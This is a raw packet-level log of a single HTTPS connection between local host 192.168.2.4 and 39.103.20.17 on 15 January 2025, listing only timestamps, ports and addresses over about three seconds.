Jan 15, 2025 04:22:45.755601883 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755609989 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755654097 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755661964 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755705118 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755712986 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755723000 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755758047 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755770922 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755815983 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755820990 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755834103 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755861044 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755884886 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755923033 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755930901 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755948067 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755991936 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756002903 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756016016 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756052017 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756059885 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756074905 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756123066 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756129980 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756144047 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756189108 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756196022 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756232023 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756253004 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756277084 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756285906 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756300926 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756306887 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756350994 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756356955 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756367922 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756397009 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756408930 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756417036 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756465912 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756473064 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756519079 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756525040 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756531954 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756560087 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756575108 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756582975 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756598949 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756613016 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756656885 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756661892 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756673098 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756705046 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756721020 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756767035 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756773949 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756824017 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756824970 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756835938 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756864071 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756865025 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756891012 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756912947 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756921053 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.756937027 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.756951094 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.757002115 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.757049084 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.757055998 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.757067919 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.757097006 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.757108927 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.757117033 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.757165909 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.757174969 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.759272099 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.811891079 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.811923027 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.811954021 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.811969042 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812067986 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812081099 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812109947 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812213898 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812225103 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812268019 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812275887 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812321901 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812336922 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812388897 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812463045 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812513113 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812566996 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812623978 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812690973 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812745094 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812781096 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812834024 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812891006 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.812941074 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.812993050 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.813040018 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.813088894 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.813134909 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.813182116 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.813226938 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.813280106 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.813328028 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.813376904 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.813426971 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.813462019 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.813519955 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.900897026 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901031017 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901078939 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.901113033 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901140928 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901199102 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.901210070 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901237011 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901285887 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.901295900 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901348114 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901396990 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.901406050 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901448011 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901559114 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.901567936 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901607037 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901660919 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.901670933 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901721001 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901771069 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.901778936 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901814938 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901902914 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.901911974 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901931047 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.901973963 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.901983023 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902046919 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902101994 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.902110100 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902152061 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902205944 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.902215004 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902256012 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902285099 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.902292013 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902323961 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.902352095 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902451992 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902507067 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.902514935 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902573109 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902623892 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.902632952 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902674913 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902724028 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.902734041 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902791023 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902841091 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.902851105 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902909040 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.902961969 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.902970076 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903023005 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903069019 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903076887 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903122902 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903177023 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903187037 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903238058 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903301001 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903310061 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903362989 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903384924 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903443098 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903500080 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903553009 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903603077 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903649092 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903697968 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903749943 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903798103 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903872013 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903902054 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.903953075 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.903997898 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.904048920 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.904088974 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.904143095 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.904196024 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.904252052 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.904290915 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.904342890 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.111356020 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.113297939 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.527364016 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.527558088 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.617741108 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.617773056 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.617791891 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.617840052 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.617850065 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.617881060 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.617886066 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.617916107 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.617944956 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690511942 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690540075 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.690567970 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.690634966 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690644026 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.690668106 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.690686941 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690691948 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.690712929 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690716982 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.690732002 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690740108 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.690785885 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690790892 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.690815926 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.690841913 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690870047 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690947056 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.690957069 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.691009998 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:46.895411015 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:46.895612955 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.095680952 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.095745087 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.095781088 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.095839024 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.095855951 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.095912933 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.095933914 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.095944881 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.096009970 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115309954 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115367889 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.115406990 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.115436077 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.115509987 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115509987 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115531921 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.115569115 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.115613937 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.115652084 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115652084 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115664959 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.115715981 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.115789890 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115789890 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115791082 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115791082 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115849018 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115889072 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.115906000 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.115998983 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.277704954 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.277769089 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.278072119 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.298687935 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.298743010 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.298789024 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.298862934 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.298902988 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.298960924 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.298962116 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.298983097 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.299087048 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.299141884 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.299159050 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.299252033 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.503369093 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.504460096 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.514394999 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.514425039 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.514444113 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.514460087 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.514487982 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.514494896 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.514533043 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.514568090 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.541335106 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.541389942 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.541448116 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.541486025 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.541529894 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.541549921 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.541589022 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.541589022 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.541608095 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.541666985 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.541699886 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.541699886 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.541713953 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.541799068 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.541815042 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.541867971 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.541906118 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.747364998 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.747637033 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.764002085 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.764070034 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.764215946 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.790240049 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.790296078 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.790338039 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.790409088 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.790431976 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.790482998 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.790529966 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.790539980 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.790577888 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.790632010 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.790657043 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.790708065 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.790721893 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.790855885 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:47.995372057 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:47.995601892 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:48.053186893 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:48.053245068 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:48.053364038 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:48.085961103 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:48.085978031 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:48.086004019 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:48.086035967 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:48.086051941 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:48.086081982 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:48.086107016 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:48.086114883 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:48.086131096 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:48.086172104 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:48.086178064 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:48.086199999 CET	49740	443	192.168.2.4	39.103.20.17
